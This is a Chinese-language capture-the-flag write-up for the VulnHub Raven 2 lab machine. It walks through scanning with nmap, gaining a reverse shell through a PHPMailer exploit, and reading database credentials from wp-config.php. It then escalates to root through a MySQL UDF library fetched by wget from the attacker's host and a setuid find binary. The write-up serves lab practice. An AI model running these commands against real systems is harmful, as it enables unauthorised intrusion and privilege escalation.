目录
0.环境下载:
https://www.vulnhub.com/entry/raven-2,269/
1.扫描存活主机
nmap -sn 192.168.217.0/24
2.目录猜解
同时目录下还存在一个PHPMailerAutoload.php的文件,配合起来看应该是使用了5.2.16版本的PHPMailer。
3.反弹SHELL
1.在kali上可以直接通过serachsploit进行搜索phpmailer存在漏洞的exp
searchsploit phpmailer
2.下载到当前⽂件夹下,并且修改代码
searchsploit -m 40974.py
简单修改一下exp:
a.顶部加上# -*- coding: utf-8 -*-声明,否则注释里一大堆非ASCII字符会报错。
b.修改target为靶机IP地址,利用文件为contact.php。
c.修改后门文件路径名称。也不知道为什么,用默认的backdoor.php总是利用不成功,把payload改成shell.php最终利用成功。
d.修改反弹shell的地址为nc监听服务器的ip(KALI主机IP)和端口。
e.运行该python脚本需要安装对应的包(pip install requests-toolbelt)
3.运行exp,可以看到生成了一个利用用文件contact.php
4.访问contact.php(http://192.168.1.12/contact.php),此时就会生成后门文件shell.php
5.接着访问后门文件:http://192.168.217.141/shell.php
6.开启nc服务器监听,在服务器上得到反弹shell
7.进入到wordpress目录下的配置文件。然后查看其数据库配置连接信息
cd /var/www/html/wordpress
cat wp-config.php
找到root/R@v3nSecurity
8.查看一下mysql的运行权限(可以看到mysql是以root运行,并且也显示了mysql的plugin目录)
ps -ef|grep mysql
9.进入mysql数据库终端,可以查看数据库的版本,也可以查看plugin目录
10.nc模式下的shell不支持su交互,先利用python提升到伪终端
python -c "import pty;pty.spawn('/bin/bash')"
11.在kali上可以直接通过serachsploit进行搜索mysql udf存在漏洞的exp
searchsploit mysql udf
searchsploit -m 1518.c
12.使⽤ 1518.c 进⾏编译,⽣成共享库 1518.so,开启web服务。将其导⼊到靶机中
Kali生成
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o -lc
python3 -m http.server 82
靶机导入
wget http://192.168.217.128:82/1518.so
13.mysql udf提权
use mysql
create table foo(line blob); #创建⼀个表,名为 foo。
insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导⼊ foo 表。
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储
到 /usr/lib/mysql/plugin ⽬录中。
create function do_system returns integer soname '1518.so'; #最重要的⼀步,
创建⼀个名为 do_system 的 UDF 函数,它将调⽤实现该函数的代码。
select do_system('chmod u+s /usr/bin/find'); #调⽤do_system() 函数,执⾏
chmod 命令,对 /usr/bin/find 设置 sticky 位
find 1518.so -exec /bin/sh \;